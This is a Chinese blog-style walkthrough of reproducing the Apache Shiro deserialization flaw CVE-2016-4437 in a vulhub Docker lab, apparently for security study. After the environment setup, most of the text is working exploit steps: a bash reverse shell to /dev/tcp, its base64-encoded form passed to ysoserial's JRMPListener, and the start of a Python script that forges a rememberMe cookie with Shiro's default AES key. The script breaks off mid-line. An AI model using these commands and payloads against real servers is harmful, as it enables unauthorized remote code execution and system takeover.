一、环境搭建
1、安装docker
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
![![[Pasted image 20240122202459.png]]](https://i-blog.csdnimg.cn/blog_migrate/48ef72986dc140f4dc3d86b25fd20688.png)
2、安装docker-compose
pip install docker-compose
![![[Pasted image 20240122203114.png]]](https://i-blog.csdnimg.cn/blog_migrate/b23966642a290cbbb2d756f140a7af50.png)
3、gitvulhub镜像
git clone https://github.com/vulhub/vulhub.git
![![[Pasted image 20240122203343.png]]](https://i-blog.csdnimg.cn/blog_migrate/5b232b63689329074c4157153328e8f4.png)
4、进入指定目录启动环境
cd vulhub/shiro/CVE-2016-4437
docker compose up
![![[Pasted image 20240126073340.png]]](https://i-blog.csdnimg.cn/blog_migrate/f826bc76a672e45f7ca717adc6708220.png)
访问http://IP:8080
![![[Pasted image 20240126073431.png]]](https://i-blog.csdnimg.cn/blog_migrate/ea373fea6f8082925aee2e4ed868206b.png)
二、漏洞复现
首先下载ysoserial工具
下载地址:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
使用java -jar ysoserial.jar查看是否可以正常使用
![![[Pasted image 20240126073645.png]]](https://i-blog.csdnimg.cn/blog_migrate/ac5bfa8bd95d3b377ccfa5eb231ad55d.png)
构造反弹shell命令
bash -i >& /dev/tcp/ip/port 0>&1
然后放到以下网站进行加密
https://r0yanx.com/tools/java_exec_encode/
![![[Pasted image 20240126074111.png]]](https://i-blog.csdnimg.cn/blog_migrate/24258e18b17849ad1238fbb8973728b2.png)
然后使用工具ysoserial执行命令
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNDAvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}(刚刚网站加密后的命令)"
![![[Pasted image 20240126074915.png]]](https://i-blog.csdnimg.cn/blog_migrate/0f03e8ea39d5ebf5b9b01d1b825ad0b5.png)
开始构造cookie
编写一个py脚本,内容如下
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return ba

本文详细介绍了Shiro框架中的反序列化漏洞(CVE-2016-4437)的环境搭建、漏洞复现、分析过程,包括使用ysoserial工具构造payload,通过加密、解密过程理解漏洞成因,以及如何利用此漏洞。同时,文中提供了一些参考文章以深入研究。

1万+

被折叠的 条评论
为什么被折叠?



